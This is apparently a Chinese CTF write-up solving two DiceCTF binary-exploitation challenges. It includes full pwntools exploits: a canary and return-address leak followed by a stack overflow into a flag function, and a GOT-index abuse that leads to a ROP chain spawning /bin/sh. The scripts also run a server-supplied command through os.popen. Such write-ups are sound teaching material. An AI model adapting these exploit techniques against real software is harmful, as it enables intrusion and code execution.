较为简单的 2 题,漏洞点都很明显,其中 bytecrusher 是签到题,message-store 是 Rust,需要费心思找 gadgets
1 bytecrusher 给了源码,基本功能就是做 16 轮数据压缩,每一轮都是读最多 32 字节到 input_buf,然后根据输入的 rate 作为步长将 input_buf 中的数据拷贝到 crushed,然后输出 crushed,接着再读一段输入到 buf,结束
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 #include <stdio.h> #include <stdlib.h> #include <string.h> void admin_portal () { puts ("Welcome dicegang admin!" ); FILE *f = fopen("flag.txt" , "r" ); if (f) { char read; while ((read = fgetc(f)) != EOF) { putchar (read); } fclose(f); } else { puts ("flag file not found" ); } } void crush_string (char *input, char *output, int rate, int output_max_len) { if (rate < 1 ) rate = 1 ; int out_idx = 0 ; for (int i = 0 ; input[i] != '\0' && out_idx < output_max_len - 1 ; i += rate) { output[out_idx++] = input[i]; } output[out_idx] = '\0' ; } void free_trial () { char input_buf[32 ]; char crushed[32 ]; for (int i=0 ; i<16 ; i++) { printf ("Trial %d/16:\n" , i+1 ); printf ("Enter a string to crush:\n" ); fgets(input_buf, sizeof (input_buf), stdin ); printf ("Enter crush rate:\n" ); int rate; scanf ("%d" , &rate); if (rate < 1 ) { printf ("Invalid crush rate, using default of 1.\n" ); rate = 1 ; } printf ("Enter output length:\n" ); int output_len; scanf ("%d" , &output_len); if (output_len > sizeof (crushed)) { printf ("Output length too large, using max size.\n" ); output_len = sizeof (crushed); } int c; while ((c = getchar()) != '\n' && c != EOF); crush_string(input_buf, crushed, rate, output_len); printf ("Crushed string:\n" ); puts (crushed); } } void get_feedback () { char buf[16 ]; printf ("Enter some text:\n" ); gets(buf); printf ("Your feedback has been recorded and totally not thrown away.\n" ); } #define COMPILE_ADMIN_MODE 0 int main () { setvbuf(stdin , NULL , _IONBF, 0 ); setvbuf(stdout , NULL , _IONBF, 0 ); printf ("Welcome to ByteCrusher, dicegang's new proprietary text crusher!\n" ); printf ("We are happy to offer sixteen free trials of our premium service.\n" ); free_trial(); get_feedback(); printf ("\nThank you for trying ByteCrusher! We hope you enjoyed it.\n" ); if (COMPILE_ADMIN_MODE) { admin_portal(); } return 0 ; }
保护全开,有 2 个漏洞点
第 1 个漏洞点是数组越界,rate 没有设置上界,并且以 rate 作为步长访问栈上的 input_buf,这里就可以泄露 canary 和 saved rip
1 2 3 4 5 6 7 8 void crush_string (char *input, char *output, int rate, int output_max_len) { if (rate < 1 ) rate = 1 ; int out_idx = 0 ; for (int i = 0 ; input[i] != '\0' && out_idx < output_max_len - 1 ; i += rate) { output[out_idx++] = input[i]; } output[out_idx] = '\0' ; }
第 2 个漏洞点是栈溢出,这里覆盖返回地址 return 到 admin_portal 函数就可以拿 flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 void get_feedback () { char buf[16 ]; printf ("Enter some text:\n" ); gets(buf); printf ("Your feedback has been recorded and totally not thrown away.\n" ); } void admin_portal () { puts ("Welcome dicegang admin!" ); FILE *f = fopen("flag.txt" , "r" ); if (f) { char read; while ((read = fgetc(f)) != EOF) { putchar (read); } fclose(f); } else { puts ("flag file not found" ); } }
EXP 如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from pwn import *elf = ELF("./bytecrusher" ) context(os=elf.os, arch=elf.arch, log_level="debug" ) def trial (string, crush_rate, output_length ): io.sendlineafter(b"Enter a string to crush:\n" , string) io.sendlineafter(b"Enter crush rate:\n" , crush_rate) io.sendlineafter(b"Enter output length:\n" , output_length) def exploit (): canary_bytes = b'\x00' for i in range (7 ): rate = 0x48 + i + 1 trial(b"A" , str (rate).encode(), b"32" ) io.recvuntil(b"Crushed string:\n" ) canary_bytes += io.recvline()[1 :2 ] canary = u64(canary_bytes) log.info("canary: " + hex (canary)) saved_rip_bytes = b'' for i in range (9 ): rate = 0x58 + i trial(b"A" , str (rate).encode(), b"32" ) io.recvuntil(b"Crushed string:\n" ) saved_rip_bytes += io.recvline()[1 :2 ] saved_rip_bytes = saved_rip_bytes[:6 ] + b'\x00\x00' saved_rip = u64(saved_rip_bytes) log.info("saved_rip: " + hex (saved_rip)) elf_base = saved_rip - 0x15EC admin_portal = elf_base + 0x12A9 payload = b"A" * 0x18 + p64(canary) + b"B" * 8 + p64(admin_portal) io.sendlineafter(b"Enter some text:\n" , payload) io.interactive() if __name__ == "__main__" : if args.REMOTE: io = remote("bytecrusher.chals.dicec.tf" , 1337 , timeout=10 ) io.recvuntil(b"proof of work:\n" ) cmd = io.recvline().strip().decode() solution = os.popen(cmd).read().strip() io.sendline(solution.encode()) elif args.GDB: io = gdb.debug(elf.path) else : io = process(elf.path) exploit()
2 message-store Rust 写的程序,没开 PIE 没有 canary
主函数是菜单循环,主要有 3 个功能
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 __int64 challenge::main () { __int64 v0; char v2; char v3; char v4; __int64 v5; char v6; _OWORD v7[5 ]; challenge::input_parsed::<u8>(v7, aMessageStorer1, 89LL ); v0 = *((_QWORD *)&v7[0 ] + 1 ); if ( !LOBYTE(v7[0 ]) ) { v2 = BYTE1(v7[0 ]); v3 = BYTE2(v7[0 ]); while ( 1 ) { v4 = v3; if ( (v2 & 1 ) != 0 ) break ; LABEL_13: std ::io::stdio::_eprint(); LABEL_5: challenge::input_parsed::<u8>(v7, aMessageStorer1, 89LL ); v3 = BYTE2(v7[0 ]); if ( LOBYTE(v7[0 ]) ) v3 = v4; v2 = BYTE1(v7[0 ]); if ( LOBYTE(v7[0 ]) ) return *((_QWORD *)&v7[0 ] + 1 ); } v6 = v3; switch ( v3 ) { case 1 : v5 = set_message(); if ( !v5 ) goto LABEL_5; goto LABEL_17; case 2 : v5 = set_message_color_vuln(); if ( !v5 ) goto LABEL_5; LABEL_17: v0 = v5; break ; case 3 : print_message_vuln(); goto LABEL_5; case 4 : v0 = 0LL ; break ; default : <core::fmt::rt::Argument>::new_display::<u8>(v7, &v6); v7[1 ] = v7[0 ]; goto LABEL_13; } } return v0; }
1) Set Message
往 challenge::BUFFER 也就是 0x2F9E38 上写最多 0x1000 字节
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 __int64 challenge::set_message () { __int64 result; __int64 v1; __int64 v2; __int64 v3; unsigned __int64 v4; challenge::input_bytes(&v2, aNewMessage, 13LL ); result = v3; if ( !__OFSUB__(-v2, 1LL ) ) { if ( v4 <= 0x1000 ) { v1 = v4; core::slice::copy_from_slice_impl::<u8>(&challenge::BUFFER, v4, v3, v4, &off_2F08D0); } else { v1 = 35LL ; std ::io::stdio::_eprint(); } <alloc::vec::Vec<u8> as core::ops::drop::Drop>::drop(&v2); <alloc::raw_vec::RawVec<u8> as core::ops::drop::Drop>::drop(&v2, v1); return 0LL ; } return result; }
2) Set Message Color
读取一个 index 存入 challenge::COLOR 中,没有检查大小
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 __int64 challenge::set_message_color () { __int64 result; __int64 v1; __int64 v2; challenge::input_parsed::<usize>(&v1, aMessageColors0, 93LL ); result = v2; if ( v1 != 2 ) { if ( (v1 & 1 ) != 0 ) challenge::COLOR = v2; return 0LL ; } return result; }
3) Print Message
根据之前保存在 challenge::COLOR 中的 index,执行 color_function_ptr_array[challenge::COLOR] 中存放的染色函数,最后 display
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 __int64 challenge::print_message () { __int64 (__fastcall *v0)(); __int64 v1; _QWORD v3[3 ]; _BYTE v4[40 ]; __int128 v5; __int128 v6; <alloc::string ::String>::from_utf8_lossy(); v0 = color_function_ptr_array[challenge::COLOR]; v1 = <alloc::borrow::Cow<str> as core::ops::deref::Deref>::deref(v3, &challenge::BUFFER); ((void (__fastcall *)(_BYTE *, __int64))v0)(v4, v1); <core::fmt::rt::Argument>::new_display::<colored::ColoredString>(&v6, v4); v5 = v6; std ::io::stdio::_print(); <alloc::vec::Vec<u8> as core::ops::drop::Drop>::drop(v4); <alloc::raw_vec::RawVec<u8> as core::ops::drop::Drop>::drop(v4, &v5); if ( !__OFSUB__(0LL , v3[0 ]) ) { <alloc::vec::Vec<u8> as core::ops::drop::Drop>::drop(v3); <alloc::raw_vec::RawVec<u8> as core::ops::drop::Drop>::drop(v3, &v5); } return 0LL ; }
这里就发生了越界访问,本来是只提供了 7 种颜色的染色函数,我们可以输入很大的 index,访问到 GOT 表上的函数,具体计算方法是 0x2F08E8 + index * 8
1 2 3 4 5 6 7 8 9 .data.rel.ro:00000000002F08E8 color_function_ptr_array dq offset _RNvYReNtCscVAelyVn9lu_7colored8Colorize3redB6_ .data.rel.ro:00000000002F08E8 ; DATA XREF: print_message_vuln+26↑o .data.rel.ro:00000000002F08E8 ; print_message_vuln+2D↑r ; <&str as colored::Colorize>::red .data.rel.ro:00000000002F08F0 dq offset _RNvYReNtCscVAelyVn9lu_7colored8Colorize5greenB6_ ; <&str as colored::Colorize>::green .data.rel.ro:00000000002F08F8 dq offset _RNvYReNtCscVAelyVn9lu_7colored8Colorize6yellowB6_ ; <&str as colored::Colorize>::yellow .data.rel.ro:00000000002F0900 dq offset _RNvYReNtCscVAelyVn9lu_7colored8Colorize4blueB6_ ; <&str as colored::Colorize>::blue .data.rel.ro:00000000002F0908 dq offset _RNvYReNtCscVAelyVn9lu_7colored8Colorize7magentaB6_ ; <&str as colored::Colorize>::magenta .data.rel.ro:00000000002F0910 dq offset _RNvYReNtCscVAelyVn9lu_7colored8Colorize4cyanB6_ ; <&str as colored::Colorize>::cyan .data.rel.ro:00000000002F0918 dq offset _RNvYReNtCscVAelyVn9lu_7colored8Colorize5whiteB6_ ; <&str as colored::Colorize>::white
但是注意传入的 2 个参数
rdi 是栈上地址 v4,即 $rsp + 0x18
rsi 是 Cow 的返回结果,这里要注意前面的 from_utf8_lossy,它将用 U+FFFD 替换任何无效的 UTF-8 序列,也就是说 challenge::BUFFER 中不能存在大于 0x7f 的字节,否则就将其替换成 EF BF BD,challenge::BUFFER 中全是符合要求 (<= 0x7f) 的字节时,rsi 就是 &challenge::BUFFER == 0x2F9E38
GOT 表上有 execvp、posix_spawn 等看起来可用的函数,但是直接 call 它们都会出错,我们需要控制 rdi 才能拿 shell
然后发现 GOT 表上有 memcpy,并且 call 时 rdx == 0x1000,rdi 是栈上地址,rsi 内容可控,所以考虑栈溢出打 ROP,需要找合适的 gadgets 控制 rdi 指向 /bin/sh\x00,并且我们发送内容不能有大于 0x7f 的字节
下面是一种可行的 ROP 链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 rbp_value = 0x206c36 mov_rdi_rsi_pop_rbp = 0x2d3e59 pop_rsi = 0x243431 mov_rax_rsi = 0x2e4416 syscall = 0x2a6602 payload = b"\x00" * 0x60 payload += p64(pop_rsi) + b"/bin/sh\x00" payload += p64(mov_rdi_rsi_pop_rbp) + p64(rbp_value) payload += p64(pop_rsi) + p64(0x3B ) payload += p64(mov_rax_rsi) payload += p64(pop_rsi) + p64(0 ) payload += p64(syscall)
下面是部分 gdb 调试截图
call memcpy
return
execve
完整 EXP 如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from pwn import *elf = ELF("./challenge" ) context(os=elf.os, arch=elf.arch, log_level="debug" ) def exploit (): ptr_array = 0x2F08E8 memcpy_ptr = 0x2F71C8 rbp_value = 0x206c36 mov_rdi_rsi_pop_rbp = 0x2d3e59 pop_rsi = 0x243431 mov_rax_rsi = 0x2e4416 syscall = 0x2a6602 payload = b"\x00" * 0x60 payload += p64(pop_rsi) + b"/bin/sh\x00" payload += p64(mov_rdi_rsi_pop_rbp) + p64(rbp_value) payload += p64(pop_rsi) + p64(0x3B ) payload += p64(mov_rax_rsi) payload += p64(pop_rsi) + p64(0 ) payload += p64(syscall) io.sendlineafter(b"> " , b"1" ) io.sendlineafter(b"New Message? " , payload) offset = (memcpy_ptr - ptr_array) // 8 io.sendlineafter(b"> " , b"2" ) io.sendlineafter(b"> " , str (offset).encode()) io.sendlineafter(b"> " , b"3" ) io.interactive() if __name__ == "__main__" : if args.REMOTE: io = remote("message-store.chals.dicec.tf" , 1337 , timeout=10 ) io.recvuntil(b"proof of work:\n" ) cmd = io.recvline().strip().decode() solution = os.popen(cmd).read().strip() io.sendline(solution.encode()) elif args.GDB: io = gdb.debug(elf.path, gdbscript="b *0x243a76" ) else : io = process(elf.path) exploit()